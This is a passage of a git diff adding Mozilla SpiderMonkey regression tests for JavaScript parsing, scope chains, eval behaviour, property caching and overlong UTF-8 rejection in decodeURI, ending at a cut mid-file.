+assertEq(isSyntaxError("function f({y},x,x){}"), true);
+
+assertEq(isSyntaxError("function f(a,b,c,d,e,f,g,h,b,[y]){}"), true);
+assertEq(isSyntaxError("function f([y],a,b,c,d,e,f,g,h,a){}"), true);
+assertEq(isSyntaxError("function f([a],b,c,d,e,f,g,h,i,a){}"), true);
+assertEq(isSyntaxError("function f(a,b,c,d,e,f,g,h,i,[a]){}"), true);
+assertEq(isSyntaxError("function f(a,b,c,d,e,f,g,h,i,[a]){}"), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-500528.js b/js/src/tests/non262/regress/regress-500528.js
new file mode 100644
index 0000000000..518ebde605
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-500528.js
@@ -0,0 +1,22 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+// This test appeared in bug 497789 comment 78.
+
+var a = {x: 'a'},
+ b1 = Object.create(a),
+ c1 = Object.create(b1),
+ b2 = Object.create(a),
+ c2 = Object.create(b2);
+
+b2.x = 'b'; // foreshadowing a.x
+
+var s = '';
+for (var obj of [c1, c2])
+ s += obj.x;
+assertEq(s, 'ab');
+
+reportCompare(0, 0, "Property cache soundness: objects with the same shape but different prototypes.");
diff --git a/js/src/tests/non262/regress/regress-501124.js b/js/src/tests/non262/regress/regress-501124.js
new file mode 100644
index 0000000000..6cdece9ddf
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-501124.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 501124;
+var summary = 'Crypotographic login routines';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var hexVal = "00000000000000000000000000000000DEADBABE";
+ var nblk = (((hexVal.length/2) + 8) >> 6) + 1;
+
+ var blks = new Array(nblk * 16);
+
+ for(var i = 0; i < nblk * 16; i++)
+ blks[i] = 0;
+
+ for(i = 0; i < hexVal.length; i++) {
+ blks[i >> 3] |= ("0x"+hexVal.charAt(i)) << (28 - (i % 8) * 4);
+ }
+
+ expect = '0,0,0,0,-559039810,0,0,0,0,0,0,0,0,0,0,0';
+ actual = blks + '';
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-503860.js b/js/src/tests/non262/regress/regress-503860.js
new file mode 100644
index 0000000000..d29bcfddd8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-503860.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 503860;
+var summary = "Don't shadow a readonly or setter proto-property";
+var expect = "PASS";
+var actual = "FAIL";
+var a = {y: 1};
+
+function B(){}
+B.prototype.__defineSetter__('x', function setx(val) { actual = expect; });
+var b = new B;
+b.y = 1;
+
+var arr = [a, b]; // same shape prior to bug 497789 fix
+for (var obj of arr)
+ obj.x = 2; // should call b's setter but doesn't
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-504078.js b/js/src/tests/non262/regress/regress-504078.js
new file mode 100644
index 0000000000..b93eaa8135
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-504078.js
@@ -0,0 +1,48 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 504078;
+var summary = 'Iterations over global object';
+var actual = '';
+var expect = '';
+
+var g = (typeof window == 'undefined' ? this : window);
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function keys(obj) {
+ for (var prop in obj) {
+ }
+ }
+
+ var data = { a : 1, b : 2 };
+ var data2 = { a : 1, b : 2 };
+
+ function boot() {
+ keys(data);
+ keys(g);
+ keys(data2); // this call dies with "var prop is not a function"
+ print('no error');
+ }
+
+ try
+ {
+ boot();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-507053.js b/js/src/tests/non262/regress/regress-507053.js
new file mode 100644
index 0000000000..3018c86ab7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-507053.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 507053;
+var summary = 'TM: invalid results with setting a closure variable in a loop'
+var actual = '';
+var expect = '2,4,8,16,32,2,4,8,16,32,2,4,8,16,32,2,4,8,16,32,2,4,8,16,32,';
+
+
+//-----------------------------------------------------------------------------
+start_test();
+
+var f = function() {
+ var p = 1;
+
+ function g() {
+ for (var i = 0; i < 5; ++i) {
+ p = p * 2;
+ actual += p + ',';
+ }
+ }
+ g();
+}
+
+for (var i = 0; i < 5; ++i) {
+ f();
+}
+
+finish_test();
+//-----------------------------------------------------------------------------
+
+function start_test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+}
+
+function finish_test()
+{
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-507295.js b/js/src/tests/non262/regress/regress-507295.js
new file mode 100644
index 0000000000..f590d57497
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-507295.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 507295;
+var summary = 'TM: assert with using result of assignment to closure var'
+var actual = '';
+var expect = 'do not crash';
+
+
+//-----------------------------------------------------------------------------
+start_test();
+
+(function () {
+ var y;
+ (eval("(function () {\
+ for (var x = 0; x < 3; ++x) {\
+ ''.replace(/a/, (y = 3))\
+ }\
+ });\
+ "))()
+})()
+
+actual = 'do not crash'
+finish_test();
+//-----------------------------------------------------------------------------
+
+function start_test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+}
+
+function finish_test()
+{
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-509354.js b/js/src/tests/non262/regress/regress-509354.js
new file mode 100644
index 0000000000..cbf4cfc595
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-509354.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff <jorendorff@mozilla.com>
+ */
+
+// Decompile destructuring argument named `arguments` correctly.
+var actual = "" + function ([arguments]) {return arguments;};
+compareSource('function ([arguments]) {return arguments;}', actual, "part 1");
+
+// Make sure the 'arguments' argument actually works.
+var f = function ([arguments]) {return arguments + 1;};
+reportCompare(3.25, f([2.25]), "part 2");
+
+// Throw SyntaxError when `arguments` appears twice in a destructuring parameter.
+actual = "no exception";
+try {
+ eval('(function ([arguments, arguments]) {return arguments();})');
+} catch (exc) {
+ actual = exc.name;
+}
+reportCompare("SyntaxError", actual, "part 3");
+
+// And again...
+actual = "no exception";
+try {
+ eval('(function ([a, b, arguments, d], [e, f, arguments]) {return arguments();})');
+} catch (exc) {
+ actual = exc.name;
+}
+reportCompare("SyntaxError", actual, "part 4");
+
+// The original test case from bug 509354. Don't crash.
+try {
+ eval('print(function([arguments,arguments,arguments,arguments,arguments,' +
+ 'arguments,arguments,arguments,arguments,arguments,arguments,' +
+ 'arguments,arguments,arguments,arguments,arguments]){})');
+} catch (exc) {
+}
+reportCompare("no crash", "no crash", "part 5");
+
diff --git a/js/src/tests/non262/regress/regress-511859.js b/js/src/tests/non262/regress/regress-511859.js
new file mode 100644
index 0000000000..76e6c00c81
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-511859.js
@@ -0,0 +1,147 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 22 Aug 2009
+ * SUMMARY: Utf8ToOneUcs4Char in jsstr.cpp ,overlong UTF-8 seqence detection problem
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=511859
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 511859;
+var summary = 'Utf8ToOneUcs4Char in jsstr.cpp ,overlong UTF-8 seqence detection problem';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect = '';
+var expectedvalues = [];
+var arg;
+/*
+ * The patch for http://bugzilla.mozilla.org/show_bug.cgi?id=511859
+ * defined this value to be the result of an overlong UTF-8 sequence -
+ */
+
+var EX="(Exception thrown)";
+
+function getActual(s)
+{
+ try {
+ return decodeURI(s);
+ } catch (e) {
+ return EX;
+ }
+}
+
+//Phase1: overlong sequences
+expect = EX;
+arg = "%C1%BF";
+status = "Overlong 2byte U+7f :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%E0%9F%BF";
+status = "Overlong 3byte U+7ff :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%F0%88%80%80";
+status = "Overlong 4byte U+8000 :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%F0%8F%BF%BF";
+status = "Overlong 4byte U+ffff :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%F0%80%C0%80%80";
+status = "Overlong 5byte U+20000 :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%F8%84%8F%BF%BF";
+status = "Overlong 5byte U+10FFFF :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%FC%80%84%8F%BF%BF";
+status = "Overlong 6byte U+10FFFF :" + arg;
+actual = getActual(arg);
+addThis();
+
+//Phase 2:Out of Unicode range
+arg = "%F4%90%80%80%80";
+status = "4byte 0x110000 :" + arg;
+actual = getActual(arg);
+addThis();
+arg = "%F8%84%90%80%80";
+status = "5byte 0x110000 :" + arg;
+actual = getActual(arg);
+addThis();
+
+arg = "%FC%80%84%90%80%80";
+status = "6byte 0x110000 :" + arg;
+actual = getActual(arg);
+addThis();
+
+//Phase 3:Valid sequences must be decoded correctly
+arg = "%7F";
+status = "valid sequence U+7F :" + arg;
+actual = getActual("%7F");
+expect = "\x7f";
+addThis();
+
+arg = "%C2%80";
+status = "valid sequence U+80 :" + arg;
+actual = getActual(arg);
+expect = "\x80";
+addThis();
+
+arg = "%E0%A0%80";
+status = "valid sequence U+800 :" + arg;
+actual = getActual("%E0%A0%80");
+expect = "\u0800";
+addThis();
+
+arg = "%F0%90%80%80"
+status = "valid sequence U+10000 :" + arg;
+actual = getActual(arg);
+expect = "\uD800\uDC00";
+addThis();
+
+arg = "%F4%8F%BF%BF";
+status = "valid sequence U+10FFFF :" + arg;
+actual = getActual(arg);
+expect = "\uDBFF\uDFFF";
+addThis();
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-522123.js b/js/src/tests/non262/regress/regress-522123.js
new file mode 100644
index 0000000000..fd1f16e0fc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-522123.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 522123;
+var summary = 'Indirect eval confuses scope chain';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+var x=1;
+
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 1;
+
+ evil=eval;
+ {
+ let x=2;
+ actual = evil("x");
+ };
+
+ reportCompare(expect, actual, summary);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-524743.js b/js/src/tests/non262/regress/regress-524743.js
new file mode 100644
index 0000000000..8bd3cd6ee6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-524743.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if((isDebugBuild&&!xulRuntime.shell)||Android) -- hang
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+if (typeof gczeal != 'undefined' && typeof gc != 'undefined') {
+ try
+ {
+ gczeal(2);
+ var obj = {};
+ for (var i = 0; i < 50; i++) {
+ obj["_" + i] = 0;
+ gc();
+ }
+ }
+ catch(ex)
+ {
+ }
+ gczeal(0);
+}
+reportCompare("no assertion failure", "no assertion failure", "bug 524743");
diff --git a/js/src/tests/non262/regress/regress-530879.js b/js/src/tests/non262/regress/regress-530879.js
new file mode 100644
index 0000000000..79cc1b985b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-530879.js
@@ -0,0 +1,9 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+function* f(a, b, c, d) {
+ yield arguments.length;
+}
+reportCompare(0, f().next().value, "bug 530879");
diff --git a/js/src/tests/non262/regress/regress-532491.js b/js/src/tests/non262/regress/regress-532491.js
new file mode 100644
index 0000000000..fc19475ba0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-532491.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466128;
+var summary = 'Do not assert: staticLevel == script->staticLevel, at ../jsobj.cpp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(foo) {
+ if (a % 2 == 1) {
+ try {
+ eval(foo);
+ } catch(e) {}
+ }
+ }
+ a = 1;
+ f("eval(\"x\")");
+ f("x");
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-541255-3.js b/js/src/tests/non262/regress/regress-541255-3.js
new file mode 100644
index 0000000000..e352429b2c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-541255-3.js
@@ -0,0 +1,13 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+
+function f(y) {
+ eval("{ let z=2, w=y; (function () { w.p = 7; })(); }");
+}
+var x = {};
+f(x);
+assertEq(x.p, 7);
+reportCompare(0, 0, "");
diff --git a/js/src/tests/non262/regress/regress-541455.js b/js/src/tests/non262/regress/regress-541455.js
new file mode 100644
index 0000000000..7ee3a40155
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-541455.js
@@ -0,0 +1,12 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Jason Orendorff
+ */
+
+function f(x) { return eval('"mumble"; x + 42'); }
+
+var expect = true;
+var actual = ('' + f).indexOf("mumble") >= 0;
+
+reportCompare(expect, actual, "unknown directive in eval code wrongly dropped");
diff --git a/js/src/tests/non262/regress/regress-551763-0.js b/js/src/tests/non262/regress/regress-551763-0.js
new file mode 100644
index 0000000000..6aeceac232
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-551763-0.js
@@ -0,0 +1,27 @@
+(function() {
+ var o = {'arguments': 42};
+ with (o) { // Definitely forces heavyweight.
+ // Note syntax is not a property access.
+ reportCompare(delete arguments, true,
+ "arguments property deletion within with block");
+ }
+ reportCompare('arguments' in o, false,
+ "property deletion observable");
+})();
+
+(function() {
+ var o = {'arguments': 42};
+ delete o.arguments;
+ reportCompare('arguments' in o, false,
+ "arguments property deletion with property access syntax");
+})();
+
+(function() {
+ var arguments = 42; // Forces heavyweight.
+ reportCompare(delete arguments, false,
+ "arguments variable");
+})();
+
+(function() {
+ reportCompare(delete arguments, false, "arguments object");
+})();
diff --git a/js/src/tests/non262/regress/regress-551763-1.js b/js/src/tests/non262/regress/regress-551763-1.js
new file mode 100644
index 0000000000..f5f95e605d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-551763-1.js
@@ -0,0 +1,4 @@
+/* Check we can delete arguments in the global space. */
+arguments = 42;
+reportCompare(delete arguments, true, "arguments defined as global");
+
diff --git a/js/src/tests/non262/regress/regress-551763-2.js b/js/src/tests/non262/regress/regress-551763-2.js
new file mode 100644
index 0000000000..4bcb417439
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-551763-2.js
@@ -0,0 +1,3 @@
+/* Check we can't delete a var-declared arguments in global space. */
+var arguments = 42;
+reportCompare(delete arguments, false, "arguments defined as global variable");
diff --git a/js/src/tests/non262/regress/regress-552432.js b/js/src/tests/non262/regress/regress-552432.js
new file mode 100644
index 0000000000..615fd0500d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-552432.js
@@ -0,0 +1,16 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+(function (y) {
+ arguments.y = 2;
+ var x = Object.create(arguments);
+ x[0] = 3;
+ assertEq(x[0], 3);
+ assertEq(x.y, 2);
+ assertEq(y, 1);
+})(1);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-553778.js b/js/src/tests/non262/regress/regress-553778.js
new file mode 100644
index 0000000000..797165e547
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-553778.js
@@ -0,0 +1,16 @@
+/*
+ * This should compile without triggering the following assertion:
+ *
+ * Assertion failure: cg->fun->u.i.skipmin <= skip, at ../jsemit.cpp:2346
+ */
+
+function f() {
+ function g() {
+ function h() {
+ g; x;
+ }
+ var [x] = [];
+ }
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-554955-1.js b/js/src/tests/non262/regress/regress-554955-1.js
new file mode 100644
index 0000000000..80c26b0880
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-554955-1.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ eval(s);
+ return function(a) {
+ var d;
+ {
+ let c = 3;
+ d = function() { a; }; // force Block object to be cloned
+ with({}) {}; // repel JägerMonkey
+ return b; // lookup occurs in scope of Block
+ }
+ };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1(0);
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2(0), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-554955-2.js b/js/src/tests/non262/regress/regress-554955-2.js
new file mode 100644
index 0000000000..659b5c8775
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-554955-2.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ eval(s);
+ return function(a) {
+ with({}) {}; // repel JägerMonkey
+ eval(a);
+ return b;
+ };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use
+ * the global b.
+ */
+assertEq(g2(''), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-554955-3.js b/js/src/tests/non262/regress/regress-554955-3.js
new file mode 100644
index 0000000000..c4e1a60cee
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-554955-3.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ eval(s);
+ return function(a) {
+ with({}) {}; // repel JägerMonkey
+ eval(a);
+ {
+ let c = 3;
+ return b;
+ };
+ };
+}
+
+var b = 1;
+var g1 = f("");
+var g2 = f("var b = 2;");
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2(''), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-554955-4.js b/js/src/tests/non262/regress/regress-554955-4.js
new file mode 100644
index 0000000000..09713c2f97
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-554955-4.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f() {
+ return function(a) {
+ // This eval must take place before the block is cloned, when the
+ // call object is still not marked as a delegate. The scope chain
+ // purge for the JSOP_DEFVAR will not change the global's shape,
+ // and the property cache entry will remain valid.
+ eval(a);
+ {
+ let c = 3;
+ // This eval forces the block to be cloned, so its shape gets
+ // used as the property cache key shape.
+ eval('');
+ return b;
+ };
+ };
+}
+
+var b = 1;
+var g1 = f();
+var g2 = f();
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(g2('var b=2'), 2);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-554955-5.js b/js/src/tests/non262/regress/regress-554955-5.js
new file mode 100644
index 0000000000..dc8769a1f2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-554955-5.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function f(s) {
+ if (s) {
+ function b() { }
+ }
+ return function(a) {
+ eval(a);
+ return b;
+ };
+}
+
+var b = 1;
+var g1 = f(false);
+var g2 = f(true);
+
+/* Call the lambda once, caching a reference to the global b. */
+g1('');
+
+/*
+ * If this call sees the above cache entry, then it will erroneously use the
+ * global b.
+ */
+assertEq(typeof g2(''), "function");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-554955-6.js b/js/src/tests/non262/regress/regress-554955-6.js
new file mode 100644
index 0000000000..73faaefb05
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-554955-6.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var v="global";
+function f(a) {
+ // This eval could extend f's call object. However, the call object has
+ // not yet been marked as a delegate at this point, so no scope chain
+ // purge takes place when it is extended.
+ eval(a);
+ {
+ let b=3;
+ // This eval causes the cloned block object to be added to the
+ // scope chain. The block needs a unique shape: its parent call
+ // could acquire bindings for anything without affecting the global
+ // object's shape, so it's up to the block's shape to mismatch all
+ // property cache entries for prior blocks.
+ eval("");
+ return v;
+ };
+}
+
+// Call the function once, to cache a reference to the global v from within
+// f's lexical block.
+assertEq("global", f(""));
+
+// Call the function again, adding a binding to the call, and ensure that
+// we do not see any property cache entry created by the previous reference
+// that would direct us to the global definition.
+assertEq("local", f("var v='local'"));
+
+// Similarly,but with a doubly-nested block; make sure everyone gets marked.
+function f2(a) {
+ eval(a);
+ {
+ let b=3;
+ {
+ let c=4;
+ eval("");
+ return v;
+ };
+ };
+}
+
+assertEq("global", f2(""));
+assertEq("local", f2("var v='local'"));
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/regress/regress-555246-0.js b/js/src/tests/non262/regress/regress-555246-0.js
new file mode 100644
index 0000000000..2a4efe0522
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-555246-0.js
@@ -0,0 +1,14 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+if (typeof evalcx == 'function') {
+ var cx = evalcx("");
+ evalcx("function f() { return this; }", cx);
+ var f = cx.f;
+ assertEq(f(), cx);
+}
+
+reportCompare(0, 0, "");
diff --git a/js/src/tests/non262/regress/regress-555246-1.js b/js/src/tests/non262/regress/regress-555246-1.js
new file mode 100644
index 0000000000..c9bd4d0f35
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-555246-1.js
@@ -0,0 +1,18 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+if (typeof evalcx == 'function') {
+ var cx = evalcx("");
+ evalcx("function f() { return this; }", cx);
+ f = cx.f;
+ assertEq(f(), cx);
+
+ evalcx("function g() { 'use strict'; return this; }", cx);
+ g = cx.g;
+ assertEq(g(), undefined);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-559402-1.js b/js/src/tests/non262/regress/regress-559402-1.js
new file mode 100644
index 0000000000..4f3a3f99cc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-559402-1.js
@@ -0,0 +1,14 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = "No error";
+var actual = expect;
+
+try {
+ eval('function foo() { "use strict"; }');
+} catch (e) {
+ actual = '' + e;
+}
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-559402-2.js b/js/src/tests/non262/regress/regress-559402-2.js
new file mode 100644
index 0000000000..ca0988cbb7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-559402-2.js
@@ -0,0 +1,8 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = undefined;
+var actual = (function foo() { "bogus"; })();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-559438.js b/js/src/tests/non262/regress/regress-559438.js
new file mode 100644
index 0000000000..c2b440c181
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-559438.js
@@ -0,0 +1,10 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+function f(x) { return 1 + "" + (x + 1); }
+reportCompare("12", f(1), "");
+var g = eval("(" + f + ")");
+reportCompare("12", g(1), "");
diff --git a/js/src/tests/non262/regress/regress-560998-1.js b/js/src/tests/non262/regress/regress-560998-1.js
new file mode 100644
index 0000000000..4aa25fd7a2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-560998-1.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jesse Ruderman
+
+for (let j = 0; j < 4; ++j) {
+ function g() { j; }
+ g();
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-560998-2.js b/js/src/tests/non262/regress/regress-560998-2.js
new file mode 100644
index 0000000000..24491a1be7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-560998-2.js
@@ -0,0 +1,10 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+var x = {};
+for (var i = 0; i < 2; i++) {
+ Object.defineProperty(x, "y", {configurable: true, value: function () {}});
+ x.y();
+}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-561031.js b/js/src/tests/non262/regress/regress-561031.js
new file mode 100644
index 0000000000..944a22ee1f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-561031.js
@@ -0,0 +1,1830 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
